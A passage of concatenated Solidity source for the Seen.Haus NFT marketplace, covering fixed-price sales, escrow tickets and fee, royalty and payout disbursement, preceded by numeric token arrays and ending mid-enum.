0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
19931,
288,
203,
3639,
2231,
1245,
519,
527,
12,
1711,
12,
27754,
16,
1728,
3631,
9934,
13,
203,
3639,
2231,
2795,
519,
527,
12,
1711,
12,
2892,
12,
27754,
16,
1728,
3631,
1728,
3631,
9934,
13,
203,
3639,
2231,
8925,
519,
527,
12,
1711,
12,
2892,
12,
27754,
16,
2130,
3631,
1728,
3631,
9934,
13,
203,
3639,
2231,
12792,
519,
527,
12,
1711,
12,
2892,
12,
27754,
16,
4336,
3631,
1728,
3631,
9934,
13,
203,
203,
3639,
2231,
393,
519,
699,
80,
12,
203,
5411,
25430,
16,
203,
5411,
527,
12,
203,
7734,
699,
80,
12,
203,
10792,
3847,
16,
203,
10792,
374,
92,
2539,
26,
73,
8148,
5608,
26,
4033,
3707,
69,
3462,
203,
7734,
262,
16,
203,
7734,
527,
12,
1289,
12,
1289,
12,
203,
10792,
1245,
16,
203,
10792,
699,
80,
12,
28,
16,
2795,
13,
3631,
203,
10792,
699,
80,
12,
2313,
16,
8925,
13,
3631,
203,
10792,
699,
80,
12,
3247,
16,
12792,
13,
203,
7734,
262,
203,
5411,
262,
203,
3639,
262,
203,
203,
3639,
312,
2233,
12,
20,
92,
20,
16,
374,
92,
6840,
71,
6418,
29,
69,
12648,
12648,
12648,
12648,
12648,
12648,
2787,
11706,
13,
203,
3639,
312,
2233,
12,
20,
92,
3028,
16,
374,
92,
12648,
12648,
12648,
12648,
12648,
12648,
12648,
9449,
3462,
13,
203,
3639,
312,
2233,
12,
20,
92,
3247,
16,
2593,
13,
203,
3639,
312,
2233,
12,
20,
92,
6334,
16,
393,
13,
203,
203,
3639,
15226,
12,
20,
16,
2130,
13,
203,
565,
289,
203,
2,
-100,
-100,
-100
] |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
import "../../../interfaces/IEscrowTicketer.sol";
import "../../../interfaces/ISeenHausNFT.sol";
import "../../../interfaces/ISaleRunner.sol";
import "../MarketHandlerBase.sol";
/**
* @title SaleRunnerFacet
*
* @notice Handles the operation of Seen.Haus sales.
*
* @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows)
*/
contract SaleRunnerFacet is ISaleRunner, MarketHandlerBase {
// Threshold to auction extension window
uint256 constant extensionWindow = 15 minutes;
/**
* @dev Modifier to protect initializer function from being invoked twice.
*/
modifier onlyUnInitialized()
{
MarketHandlerLib.MarketHandlerInitializers storage mhi = MarketHandlerLib.marketHandlerInitializers();
require(!mhi.saleRunnerFacet, "already initialized");
mhi.saleRunnerFacet = true;
_;
}
/**
* @notice Facet Initializer
*
* Register supported interfaces
*/
function initialize()
public
onlyUnInitialized
{
DiamondLib.addSupportedInterface(type(ISaleRunner).interfaceId);
}
/**
* @notice Change the audience for a sale.
*
* Reverts if:
* - Caller does not have ADMIN role
* - Auction doesn't exist or has already been settled
*
* @param _consignmentId - the id of the consignment being sold
* @param _audience - the new audience for the sale
*/
function changeSaleAudience(uint256 _consignmentId, Audience _audience)
external
override
onlyRole(ADMIN)
{
// Get Market Handler Storage slot
MarketHandlerLib.MarketHandlerStorage storage mhs = MarketHandlerLib.marketHandlerStorage();
// Get consignment (reverting if not valid)
Consignment memory consignment = getMarketController().getConsignment(_consignmentId);
// Make sure the sale exists and hasn't been settled
Sale storage sale = mhs.sales[consignment.id];
require((sale.state != State.Ended) && (sale.start != 0), "already settled or non-existent");
// Set the new audience for the consignment
setAudience(_consignmentId, _audience);
}
/**
* @notice Buy some amount of the remaining supply of the lot for sale.
*
* Ownership of the purchased inventory is transferred to the buyer.
* The buyer's payment will be held for disbursement when sale is settled.
*
* Reverts if:
* - Caller is not in audience
* - Sale doesn't exist or hasn't started
* - Caller is a contract
* - The per-transaction buy limit is exceeded
* - Payment doesn't cover the order price
*
* Emits a Purchase event.
* May emit a SaleStarted event, on the first purchase.
*
* @param _consignmentId - id of the consignment being sold
* @param _amount - the amount of the remaining supply to buy
*/
function buy(uint256 _consignmentId, uint256 _amount)
external
override
payable
onlyAudienceMember(_consignmentId)
{
// Get Market Handler Storage slot
MarketHandlerLib.MarketHandlerStorage storage mhs = MarketHandlerLib.marketHandlerStorage();
// Get the consignment
Consignment memory consignment = getMarketController().getConsignment(_consignmentId);
// Make sure we can accept the buy order & that the sale exists
Sale storage sale = mhs.sales[_consignmentId];
require((block.timestamp >= sale.start) && (sale.start != 0), "Sale hasn't started or non-existent");
require(_amount <= sale.perTxCap, "Per tx limit exceeded");
require(msg.value == sale.price * _amount, "Value doesn't cover price");
// If this was the first successful purchase...
if (sale.state == State.Pending) {
// First buy updates sale state to Running
sale.state = State.Running;
// Notify listeners of state change
emit SaleStarted(_consignmentId);
}
uint256 pendingPayoutValue = consignment.pendingPayout + msg.value;
getMarketController().setConsignmentPendingPayout(consignment.id, pendingPayoutValue);
// Determine if consignment is physical
address nft = getMarketController().getNft();
if (nft == consignment.tokenAddress && ISeenHausNFT(nft).isPhysical(consignment.tokenId)) {
// Issue an escrow ticket to the buyer
address escrowTicketer = getMarketController().getEscrowTicketer(_consignmentId);
IEscrowTicketer(escrowTicketer).issueTicket(_consignmentId, _amount, payable(msg.sender));
} else {
// Release the purchased amount of the consigned token supply to buyer
getMarketController().releaseConsignment(_consignmentId, _amount, msg.sender);
}
// Announce the purchase
emit Purchase(consignment.id, msg.sender, _amount, msg.value);
// Track the sale info against the token itself
emit TokenHistoryTracker(consignment.tokenAddress, consignment.tokenId, msg.sender, msg.value, _amount, consignment.id);
}
/**
* @notice Claim a pending payout on an ongoing sale without closing/cancelling
*
* Funds are disbursed as normal. See: {MarketHandlerBase.disburseFunds}
*
* Reverts if:
* - Sale doesn't exist or hasn't started
* - There is no pending payout
* - Called by any address other than seller
* - The sale is sold out (in which case closeSale should be called)
*
* Does not emit its own event, but disburseFunds emits an event
*
* @param _consignmentId - id of the consignment being sold
*/
function claimPendingPayout(uint256 _consignmentId)
external
override
{
// Get Market Handler Storage slot
MarketHandlerLib.MarketHandlerStorage storage mhs = MarketHandlerLib.marketHandlerStorage();
// Get consignment
Consignment memory consignment = getMarketController().getConsignment(_consignmentId);
// Ensure that there is a pending payout & that caller is the seller
require((consignment.pendingPayout > 0) && (consignment.seller == msg.sender));
// Ensure that the sale has not yet sold out
require((consignment.supply - consignment.releasedSupply) > 0, "sold out - use closeSale");
// Make sure the sale exists and is running
Sale storage sale = mhs.sales[_consignmentId];
require((sale.state == State.Running) && (sale.start != 0), "Sale hasn't started or non-existent");
// Distribute the funds (handles royalties, staking, multisig, and seller)
getMarketController().setConsignmentPendingPayout(consignment.id, 0);
disburseFunds(_consignmentId, consignment.pendingPayout);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
import "../domain/SeenTypes.sol";
/**
* @title IEscrowTicketer
*
* @notice Manages the issue and claim of escrow tickets.
*
* The ERC-165 identifier for this interface is: 0x73811679
*
* @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows)
*/
interface IEscrowTicketer {
event TicketIssued(uint256 ticketId, uint256 indexed consignmentId, address indexed buyer, uint256 amount);
event TicketClaimed(uint256 ticketId, address indexed claimant, uint256 amount);
/**
* @notice The nextTicket getter
*/
function getNextTicket() external view returns (uint256);
/**
* @notice Get info about the ticket
*/
function getTicket(uint256 _ticketId) external view returns (SeenTypes.EscrowTicket memory);
/**
* @notice Get how many claims can be made using tickets (does not change after ticket burns)
*/
function getTicketClaimableCount(uint256 _consignmentId) external view returns (uint256);
/**
* @notice Gets the URI for the ticket metadata
*
* This method normalizes how you get the URI,
* since ERC721 and ERC1155 differ in approach
*
* @param _ticketId - the token id of the ticket
*/
function getTicketURI(uint256 _ticketId) external view returns (string memory);
/**
* Issue an escrow ticket to the buyer
*
* For physical consignments, Seen.Haus must hold the items in escrow
* until the buyer(s) claim them.
*
* When a buyer wins an auction or makes a purchase in a sale, the market
* handler contract they interacted with will call this method to issue an
* escrow ticket, which is an NFT that can be sold, transferred, or claimed.
*
* @param _consignmentId - the id of the consignment being sold
* @param _amount - the amount of the given token to escrow
* @param _buyer - the buyer of the escrowed item(s) to whom the ticket is issued
*/
function issueTicket(uint256 _consignmentId, uint256 _amount, address payable _buyer) external;
/**
* Claim the holder's escrowed items associated with the ticket.
*
* @param _ticketId - the ticket representing the escrowed items
*/
function claim(uint256 _ticketId) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155Upgradeable.sol";
import "../domain/SeenTypes.sol";
import "./IERC2981.sol";
/**
* @title ISeenHausNFT
*
* @notice This is the interface for the Seen.Haus ERC-1155 NFT contract.
*
* The ERC-165 identifier for this interface is: 0x34d6028b
*
* @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows)
*/
interface ISeenHausNFT is IERC2981, IERC1155Upgradeable {
/**
* @notice The nextToken getter
* @dev does not increment counter
*/
function getNextToken() external view returns (uint256 nextToken);
/**
* @notice Get the info about a given token.
*
* @param _tokenId - the id of the token to check
* @return tokenInfo - the info about the token. See: {SeenTypes.Token}
*/
function getTokenInfo(uint256 _tokenId) external view returns (SeenTypes.Token memory tokenInfo);
/**
* @notice Check if a given token id corresponds to a physical lot.
*
* @param _tokenId - the id of the token to check
* @return physical - true if the item corresponds to a physical lot
*/
function isPhysical(uint256 _tokenId) external returns (bool);
/**
* @notice Mint a given supply of a token, marking it as physical.
*
* Entire supply must be minted at once.
* More cannot be minted later for the same token id.
* Can only be called by an address with the ESCROW_AGENT role.
* Token supply is sent to the caller.
*
* @param _supply - the supply of the token
* @param _creator - the creator of the NFT (where the royalties will go)
* @param _tokenURI - the URI of the token metadata
*
* @return consignment - the registered primary market consignment of the newly minted token
*/
function mintPhysical(
uint256 _supply,
address payable _creator,
string memory _tokenURI,
uint16 _royaltyPercentage
)
external
returns(SeenTypes.Consignment memory consignment);
/**
* @notice Mint a given supply of a token.
*
* Entire supply must be minted at once.
* More cannot be minted later for the same token id.
* Can only be called by an address with the MINTER role.
* Token supply is sent to the caller's address.
*
* @param _supply - the supply of the token
* @param _creator - the creator of the NFT (where the royalties will go)
* @param _tokenURI - the URI of the token metadata
*
* @return consignment - the registered primary market consignment of the newly minted token
*/
function mintDigital(
uint256 _supply,
address payable _creator,
string memory _tokenURI,
uint16 _royaltyPercentage
)
external
returns(SeenTypes.Consignment memory consignment);
/**
* @dev Returns the address of the current owner.
*/
function owner() external view returns (address);
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() external;
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
import "../domain/SeenTypes.sol";
import "./IMarketHandler.sol";
/**
* @title ISaleRunner
*
* @notice Handles the operation of Seen.Haus sales.
*
* The ERC-165 identifier for this interface is: 0xe1bf15c5
*
* @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows)
*/
interface ISaleRunner is IMarketHandler {
// Events
event SaleStarted(uint256 indexed consignmentId);
event Purchase(uint256 indexed consignmentId, address indexed buyer, uint256 amount, uint256 value);
event TokenHistoryTracker(address indexed tokenAddress, uint256 indexed tokenId, address indexed buyer, uint256 value, uint256 amount, uint256 consignmentId);
/**
* @notice Change the audience for a sale.
*
* Reverts if:
* - Caller does not have ADMIN role
* - Auction doesn't exist or has already been settled
*
* @param _consignmentId - the id of the consignment being sold
* @param _audience - the new audience for the sale
*/
function changeSaleAudience(uint256 _consignmentId, SeenTypes.Audience _audience) external;
/**
* @notice Buy some amount of the remaining supply of the lot for sale.
*
* Ownership of the purchased inventory is transferred to the buyer.
* The buyer's payment will be held for disbursement when sale is settled.
*
* Reverts if:
* - Caller is not in audience
* - Sale doesn't exist or hasn't started
* - Caller is a contract
* - The per-transaction buy limit is exceeded
* - Payment doesn't cover the order price
*
* Emits a Purchase event.
* May emit a SaleStarted event, on the first purchase.
*
* @param _consignmentId - id of the consignment being sold
* @param _amount - the amount of the remaining supply to buy
*/
function buy(uint256 _consignmentId, uint256 _amount) external payable;
/**
* @notice Claim a pending payout on an ongoing sale without closing/cancelling
*
* Funds are disbursed as normal. See: {MarketHandlerBase.disburseFunds}
*
* Reverts if:
* - Sale doesn't exist or hasn't started
* - There is no pending payout
* - Called by any address other than seller
* - The sale is sold out (in which case closeSale should be called)
*
* Does not emit its own event, but disburseFunds emits an event
*
* @param _consignmentId - id of the consignment being sold
*/
function claimPendingPayout(uint256 _consignmentId) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "../../interfaces/IMarketController.sol";
import "../../interfaces/IMarketHandler.sol";
import "../../interfaces/ISeenHausNFT.sol";
import "../../domain/SeenConstants.sol";
import "../../interfaces/IERC2981.sol";
import "../../domain/SeenTypes.sol";
import "./MarketHandlerLib.sol";
/**
* @title MarketHandlerBase
*
* @notice Provides base functionality for common actions taken by market handlers.
*
* @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows)
*/
abstract contract MarketHandlerBase is IMarketHandler, SeenTypes, SeenConstants {
/**
* @dev Modifier that checks that the caller has a specific role.
*
* Reverts if caller doesn't have role.
*
* See: {AccessController.hasRole}
*/
modifier onlyRole(bytes32 _role) {
DiamondLib.DiamondStorage storage ds = DiamondLib.diamondStorage();
require(ds.accessController.hasRole(_role, msg.sender), "Caller doesn't have role");
_;
}
/**
* @dev Modifier that checks that the caller has a specific role or is a consignor.
*
* Reverts if caller doesn't have role or is not consignor.
*
* See: {AccessController.hasRole}
*/
modifier onlyRoleOrConsignor(bytes32 _role, uint256 _consignmentId) {
DiamondLib.DiamondStorage storage ds = DiamondLib.diamondStorage();
require(ds.accessController.hasRole(_role, msg.sender) || getMarketController().getConsignor(_consignmentId) == msg.sender, "Caller doesn't have role or is not consignor");
_;
}
/**
* @dev Function that checks that the caller has a specific role.
*
* Reverts if caller doesn't have role.
*
* See: {AccessController.hasRole}
*/
function checkHasRole(address _address, bytes32 _role) internal view returns (bool) {
DiamondLib.DiamondStorage storage ds = DiamondLib.diamondStorage();
return ds.accessController.hasRole(_role, _address);
}
/**
* @notice Gets the address of the Seen.Haus MarketController contract.
*
* @return marketController - the address of the MarketController contract
*/
function getMarketController()
internal
view
returns(IMarketController marketController)
{
return IMarketController(address(this));
}
/**
* @notice Sets the audience for a consignment at sale or auction.
*
* Emits an AudienceChanged event.
*
* @param _consignmentId - the id of the consignment
* @param _audience - the new audience for the consignment
*/
function setAudience(uint256 _consignmentId, Audience _audience)
internal
{
MarketHandlerLib.MarketHandlerStorage storage mhs = MarketHandlerLib.marketHandlerStorage();
// Set the new audience
mhs.audiences[_consignmentId] = _audience;
// Notify listeners of state change
emit AudienceChanged(_consignmentId, _audience);
}
/**
* @notice Check if the caller is a Staker.
*
* @return status - true if caller's xSEEN ERC-20 balance is non-zero.
*/
function isStaker()
internal
view
returns (bool status)
{
IMarketController marketController = getMarketController();
status = IERC20Upgradeable(marketController.getStaking()).balanceOf(msg.sender) > 0;
}
/**
* @notice Check if the caller is a VIP Staker.
*
* See {MarketController:vipStakerAmount}
*
* @return status - true if caller's xSEEN ERC-20 balance is at least equal to the VIP Staker Amount.
*/
function isVipStaker()
internal
view
returns (bool status)
{
IMarketController marketController = getMarketController();
status = IERC20Upgradeable(marketController.getStaking()).balanceOf(msg.sender) >= marketController.getVipStakerAmount();
}
/**
* @notice Modifier that checks that caller is in consignment's audience
*
* Reverts if user is not in consignment's audience
*/
modifier onlyAudienceMember(uint256 _consignmentId) {
MarketHandlerLib.MarketHandlerStorage storage mhs = MarketHandlerLib.marketHandlerStorage();
Audience audience = mhs.audiences[_consignmentId];
if (audience != Audience.Open) {
if (audience == Audience.Staker) {
require(isStaker());
} else if (audience == Audience.VipStaker) {
require(isVipStaker());
}
}
_;
}
/**
* @dev Modifier that checks that the caller is the consignor
*
* Reverts if caller isn't the consignor
*
* See: {MarketController.getConsignor}
*/
modifier onlyConsignor(uint256 _consignmentId) {
// Make sure the caller is the consignor
require(getMarketController().getConsignor(_consignmentId) == msg.sender, "Caller is not consignor");
_;
}
/**
* @notice Get a percentage of a given amount.
*
* N.B. Represent ercentage values are stored
* as unsigned integers, the result of multiplying the given percentage by 100:
* e.g, 1.75% = 175, 100% = 10000
*
* @param _amount - the amount to return a percentage of
* @param _percentage - the percentage value represented as above
*/
function getPercentageOf(uint256 _amount, uint16 _percentage)
internal
pure
returns (uint256 share)
{
share = _amount * _percentage / 10000;
}
/**
* @notice Deduct and pay royalties on sold secondary market consignments.
*
* Does nothing is this is a primary market sale.
*
* If the consigned item's contract supports NFT Royalty Standard EIP-2981,
* it is queried for the expected royalty amount and recipient.
*
* Deducts royalty and pays to recipient:
* - entire expected amount, if below or equal to the marketplace's maximum royalty percentage
* - the marketplace's maximum royalty percentage See: {MarketController.maxRoyaltyPercentage}
*
* Emits a RoyaltyDisbursed event with the amount actually paid.
*
* @param _consignment - the consigned item
* @param _grossSale - the gross sale amount
*
* @return net - the net amount of the sale after the royalty has been paid
*/
function deductRoyalties(Consignment memory _consignment, uint256 _grossSale)
internal
returns (uint256 net)
{
// Only pay royalties on secondary market sales
uint256 royaltyAmount = 0;
if (_consignment.market == Market.Secondary) {
// Determine if NFT contract supports NFT Royalty Standard EIP-2981
try IERC165Upgradeable(_consignment.tokenAddress).supportsInterface(type(IERC2981).interfaceId) returns (bool supported) {
// If so, find out the who to pay and how much
if (supported) {
// Get the MarketController
IMarketController marketController = getMarketController();
// Get the royalty recipient and expected payment
(address recipient, uint256 expected) = IERC2981(_consignment.tokenAddress).royaltyInfo(_consignment.tokenId, _grossSale);
// Determine the max royalty we will pay
uint256 maxRoyalty = getPercentageOf(_grossSale, marketController.getMaxRoyaltyPercentage());
// If a royalty is expected...
if (expected > 0) {
// Lets pay, but only up to our platform policy maximum
royaltyAmount = (expected <= maxRoyalty) ? expected : maxRoyalty;
sendValueOrCreditAccount(payable(recipient), royaltyAmount);
// Notify listeners of payment
emit RoyaltyDisbursed(_consignment.id, recipient, royaltyAmount);
}
}
// Any case where the check for interface support fails can be ignored
} catch Error(string memory) {
} catch (bytes memory) {
}
}
// Return the net amount after royalty deduction
net = _grossSale - royaltyAmount;
}
/**
* @notice Deduct and pay escrow agent fees on sold physical secondary market consignments.
*
* Does nothing if this is a primary market sale.
*
* Deducts escrow agent fee and pays to consignor
* - entire expected amount
*
* Emits a EscrowAgentFeeDisbursed event with the amount actually paid.
*
* @param _consignment - the consigned item
* @param _grossSale - the gross sale amount
* @param _netAfterRoyalties - the funds left to be distributed
*
* @return net - the net amount of the sale after the royalty has been paid
*/
function deductEscrowAgentFee(Consignment memory _consignment, uint256 _grossSale, uint256 _netAfterRoyalties)
internal
returns (uint256 net)
{
// Only pay royalties on secondary market sales
uint256 escrowAgentFeeAmount = 0;
if (_consignment.market == Market.Secondary) {
// Get the MarketController
IMarketController marketController = getMarketController();
address consignor = marketController.getConsignor(_consignment.id);
if(consignor != _consignment.seller) {
uint16 escrowAgentBasisPoints = marketController.getEscrowAgentFeeBasisPoints(consignor);
if(escrowAgentBasisPoints > 0) {
// Determine if consignment is physical
address nft = marketController.getNft();
if (nft == _consignment.tokenAddress && ISeenHausNFT(nft).isPhysical(_consignment.tokenId)) {
// Consignor is not seller, consigner has a positive escrowAgentBasisPoints value, consignment is of a physical item
// Therefore, pay consignor the escrow agent fees
escrowAgentFeeAmount = getPercentageOf(_grossSale, escrowAgentBasisPoints);
// If escrow agent fee is expected...
if (escrowAgentFeeAmount > 0) {
require(escrowAgentFeeAmount <= _netAfterRoyalties, "escrowAgentFeeAmount exceeds remaining funds");
sendValueOrCreditAccount(payable(consignor), escrowAgentFeeAmount);
// Notify listeners of payment
emit EscrowAgentFeeDisbursed(_consignment.id, consignor, escrowAgentFeeAmount);
}
}
}
}
}
// Return the net amount after royalty deduction
net = _netAfterRoyalties - escrowAgentFeeAmount;
}
/**
* @notice Deduct and pay fee on a sold consignment.
*
* Deducts marketplace fee and pays:
* - Half to the staking contract
* - Half to the multisig contract
*
* Emits a FeeDisbursed event for staking payment.
* Emits a FeeDisbursed event for multisig payment.
*
* @param _consignment - the consigned item
* @param _grossSale - the gross sale amount
* @param _netAmount - the net amount after royalties (total remaining to be distributed as part of payout process)
*
* @return payout - the payout amount for the seller
*/
function deductFee(Consignment memory _consignment, uint256 _grossSale, uint256 _netAmount)
internal
returns (uint256 payout)
{
// Get the MarketController
IMarketController marketController = getMarketController();
// With the net after royalties, calculate and split
// the auction fee between SEEN staking and multisig,
uint256 feeAmount;
if(_consignment.customFeePercentageBasisPoints > 0) {
feeAmount = getPercentageOf(_grossSale, _consignment.customFeePercentageBasisPoints);
} else {
feeAmount = getPercentageOf(_grossSale, marketController.getFeePercentage(_consignment.market));
}
require(feeAmount <= _netAmount, "feeAmount exceeds remaining funds");
uint256 splitStaking = feeAmount / 2;
uint256 splitMultisig = feeAmount - splitStaking;
address payable staking = marketController.getStaking();
address payable multisig = marketController.getMultisig();
sendValueOrCreditAccount(staking, splitStaking);
sendValueOrCreditAccount(multisig, splitMultisig);
// Return the seller payout amount after fee deduction
payout = _netAmount - feeAmount;
// Notify listeners of payment
emit FeeDisbursed(_consignment.id, staking, splitStaking);
emit FeeDisbursed(_consignment.id, multisig, splitMultisig);
}
/**
* @notice Disburse funds for a sale or auction, primary or secondary.
*
* Disburses funds in this order
* - Pays any necessary royalties first. See {deductRoyalties}
* - Deducts and distributes marketplace fee. See {deductFee}
* - Pays the remaining amount to the seller.
*
* Emits a PayoutDisbursed event on success.
*
* @param _consignmentId - the id of the consignment being sold
* @param _saleAmount - the gross sale amount
*/
function disburseFunds(uint256 _consignmentId, uint256 _saleAmount)
internal
{
// Get the MarketController
IMarketController marketController = getMarketController();
// Get consignment
SeenTypes.Consignment memory consignment = marketController.getConsignment(_consignmentId);
// Pay royalties if needed
uint256 netAfterRoyalties = deductRoyalties(consignment, _saleAmount);
// Pay escrow agent fees if needed
uint256 netAfterEscrowAgentFees = deductEscrowAgentFee(consignment, _saleAmount, netAfterRoyalties);
// Pay marketplace fee
uint256 payout = deductFee(consignment, _saleAmount, netAfterEscrowAgentFees);
// Pay seller
sendValueOrCreditAccount(consignment.seller, payout);
// Notify listeners of payment
emit PayoutDisbursed(_consignmentId, consignment.seller, payout);
}
/**
* @notice Attempts an ETH transfer, else adds a pull-able credit
*
* In cases where ETH is unable to be transferred to a particular address
* either due to malicious agents or bugs in receiver addresses
* the payout process should not fail for all parties involved
* (or funds can become stuck for benevolent parties)
*
* @param _recipient - the recipient of the transfer
* @param _value - the transfer value
*/
function sendValueOrCreditAccount(address payable _recipient, uint256 _value)
internal
{
// Attempt to send funds to recipient
require(address(this).balance >= _value);
(bool success, ) = _recipient.call{value: _value}("");
if(!success) {
// Credit the account
MarketHandlerLib.MarketHandlerStorage storage mhs = MarketHandlerLib.marketHandlerStorage();
mhs.addressToEthCredit[_recipient] += _value;
emit EthCredited(_recipient, _value);
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
/**
* @title SeenTypes
*
* @notice Enums and structs used by the Seen.Haus contract ecosystem.
*
* @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows)
*/
contract SeenTypes {
enum Market {
Primary,
Secondary
}
enum MarketHandler {
Unhandled,
Auction,
Sale
}
enum Clock {
Live,
Trigger
}
enum Audience {
Open,
Staker,
VipStaker
}
enum Outcome {
Pending,
